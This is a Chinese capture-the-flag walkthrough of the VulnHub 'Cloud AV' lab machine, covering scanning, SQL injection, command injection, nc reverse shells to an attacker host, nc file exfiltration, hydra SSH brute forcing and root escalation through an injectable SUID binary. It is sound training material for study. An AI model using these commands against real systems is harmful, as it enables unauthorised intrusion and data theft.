0x01 主机发现

for i in $(seq 1 254); do sudo arping -c 2 10.0.2.$i; done

0x02 端口扫描

sudo nmap -p- 10.0.2.5

0x03 服务识别

sudo nmap -p22,8080 -sV 10.0.2.5

0x04 堆叠注入

访问Web服务瞧瞧


有输入框,挂BP抓个包看看

基本全明文,那把参数替换成特殊字符试试,把键盘上所有的特殊字符做成字典,过一遍看有无报错

看到报错信息了,在页面上注入查看详细信息。

看到报错信息,是sqlite数据库,连数据库语句都报出来了。

尝试万能密码绕过

" or 1=1--

猜测功能为输入文件名,调用杀毒程序进行查杀。

系统应该是执行 avscan fileName 类似的命令,尝试堆叠注入。

hello | id


堆叠注入成功,代表此处存在命令注入。

由上面的服务发现可知,系统存在python2环境,此处可以用Python代码执行反弹shell,但考虑到代码过长,选择另一种更为常见的方式,nc反弹shell

nc常用在反弹shell,它既可以主动发起连接,也可以被动等待连接,常用命令:

# 主动发起连接,-e参数是指连接交予sh
nc ip 4444 -e /bin/sh
# 被动接受连接
nc -nvlp 4444

这里有个需要注意的地方,不同发行版的Linux用的是不同版本的nc,部分nc没有-e参数,不指定权限交予程序。

先尝试用带 e 的命令行注入,无连接反应。

这里介绍一种新思路:

  1. 受害机通过nc建立一个普通连接
  2. 把第一个连接的输入重定向到受害者本地的/bin/bash
  3. 把/bin/bash的输入重定向到另一个nc连接

首先,本地开启两个Nc端口监听

# 第一个Nc监听,用于执行命令
nc -nvlp 3333
# 第二个Nc监听,用于输入执行结果
nc -nvlp 4444

受害机执行

# hello为堆叠注入,
hello | nc 10.0.2.4 3333 | /bin/bash | nc 10.0.2.4 4444

得到反弹shell,3333端口用于命令输入,4444端口用于结果输出。

0x05 SSH爆破尝试

进行信息收集,看到database.sql文件。

由先前报错可知,采用的是sqlite数据库,转了一圈发现本地没有sqlite环境读取,则把文件下载到本地来读取。

# nc进行文件传输
# kali进行nc端口监听
nc ip 5555 > db.sql
# 目标机进行nc数据传输
nc ip 5555 < database.sql
# 本地读取sqlite文件
sqlite3
.open db.sql
.database
.dump

# 读取当前系统有bash权限的用户
cat /etc/passwd | grep /bin/bash

得到 cloudav & scanner。

制作字典尝试爆破SSH。

vi user.txt      # cloudav | scanner
vi password.txt  # myinvitecode123 | mysecondinvitecode | cloudavtech | mostsecurescanner
hydra -L user.txt - P pass.txt ssh://ip

结果全部错误,木大。

0x06 命令行提权

直接在反弹shell尝试提权吧。

兜兜转转一圈下来,没发现啥内核提权漏洞。只有用于搭建网站的前后端文件、数据库文件。

这时,习惯用 ls -l 命令的我发现了疑点

在上个目录下发现了suid属性的文件,所属是root用户,并且其他组用户还有执行权限。

如果用 root 所属的文件创建新的连接,那就是一个root权限的连接。

刚好有个.c的源文件,看看这个文件是干嘛的

简单来讲就是,执行软件更新命令,那就涉及命令执行,尝试下最开始的堆叠注入吧。

./update_cloudav "id | nc 10.0.2.4 6666 | /bin/bash | nc 10.0.2.4 7777"

拿到 root 权限了。

靶机地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/

BOREDHACKERBLOG: CLOUD AV相关推荐

  1. 【VulnHub靶场】——BOREDHACKERBLOG: CLOUD AV

    作者名:Demo不是emo  主页面链接:主页传送门 创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷 座右铭:不要让时代的悲哀 ...

  2. Black Hat 2017黑帽大会:8款值得一看的黑客工具

    每年的7月下旬和8月上旬,对于信息安全行业人员而言就像总会如期而至的夏令营和圣诞节,充满着无限的期待和憧憬.今年的黑帽安全技术大会(Black Hat Conference)将于7月22-27日期间在 ...

  3. 移动云计算:问题与挑战

    摘要: 在当今时代,有了手机,一切都可能实现.购物.文档编辑.社交网络.信息收集等任务不再需要计算机.因此,移动电话的使用正以日新月异的速度增长.尽管这些设备在处理和存储功能等方面已经有不小的进步,但 ...

  4. 【论文翻译】Recent security challenges in cloud computing 近代云计算面临的安全挑战

    Recent security challenges in cloud computing Nalini Subramanian Research Scholar⁎ , Andrews Jeyaraj ...

  5. permgen spac_SPAC是AV初创企业的未来

    permgen spac 字节/大小 (BYTE/SIZE) Velodyne is a startup that specializes in Light Detection and Ranging ...

  6. Introduction to Cloud Bigtable

    Cloud Bigtable 使用 NoSQL 宽列数据库服务存储 TB 或 PB 级数据. Cloud Bigtable 是 Google 的全代管式 NoSQL 大数据数据库服务.它也是为 Goo ...

  7. Alibaba Cloud Linux 2.1903 LTS 64位服务器yum源下载404,Alibaba Cloud Linux 2实例中使用docker-ce、epel等YUM源安装软件失败

    [Alibaba Cloud Linux 2.1903 LTS 64位]服务器yum源下载404 failure: repodata/repomd.xml from docker-ce-stable: ...

  8. Spring cloud 微服务docker容器化最佳实践

    Spring cloud 是当下最炙手可热的微服务套件,我们将介绍如何整合Docker容器达到高效快捷的构建发布 采用了dockerfile-maven-plugin插件发布镜像到远程docker主机 ...

  9. 激光雷达数据到云cloud

    激光雷达数据到云cloud 在美国地质调查局的3D提升计划(3DEP)被激发到一个新的方式可用性宣布从3DEP仓库的访问和处理激光雷达点云数据. 3DEP一直在美国使用光检测和测距(激光)技术获取三维 ...

最新文章

  1. mysql事务回滚后,自增ID仍然增加
  2. 2019年知乎已发布两款App:短视频“即影”和男生种草“CHAO”
  3. vs设计窗口不见了_VS厂欧米茄海马300系列女王密使腕表评测
  4. 黄聪:mysql 存在该记录则更新,不存在则插入记录的sql
  5. 妙用VM的“远程显示”功能
  6. 南沙发布全国首个智慧城市物联网大数据管理平台
  7. 一只刚学竞价两周的菜鸟
  8. autojs java文件_autojs官方文档
  9. 【其他】Windows Media Services 无法启动
  10. 安卓dj专业打碟机软件_18号免费软件集合
  11. 读博不怎么花家里的钱,为什么还说穷人不要读博
  12. 这么简单的道理,猩猩都懂,我们却忘了
  13. css 点击事件击穿
  14. JavaScript 中的内存和性能、模拟事件(读书笔记思维导图)
  15. win10 android ios,一机多用?Win10可运行安卓和iOS应用
  16. 六、数据(分组)计算
  17. 关于word自动生成目录,出现部分文字后面省略号疏密不一致的问题
  18. 动态视频目标检测和跟踪技术
  19. 干货 | 科研必备的软件神器
  20. Discuz!论坛程序安装+模板配置教程

热门文章

  1. 英文版-Hillsong现场演唱-你是否感到群山震动-Did You Feel The Mountains Tremble
  2. Python中的GIL和异步Asyncio、Futures
  3. 转:什么能力很重要,但大多数人却没有
  4. 台式计算机散热风扇装在哪里,电脑机箱风扇怎么装
  5. matlab计算不同时间步长,Matlab ODE求解器中的时间步长计算
  6. The type java.lang.String cannot be resolved. It is indirectly referenced from required .class files
  7. 无线密码忘记了,怎么找回?
  8. Android 图片下载或上传时请求失败。
  9. 吴恩达机器学习作业2:逻辑回归(Python实现)
  10. 【身份证识别】基于matlab GUI身份证号码识别【含Matlab源码 014期】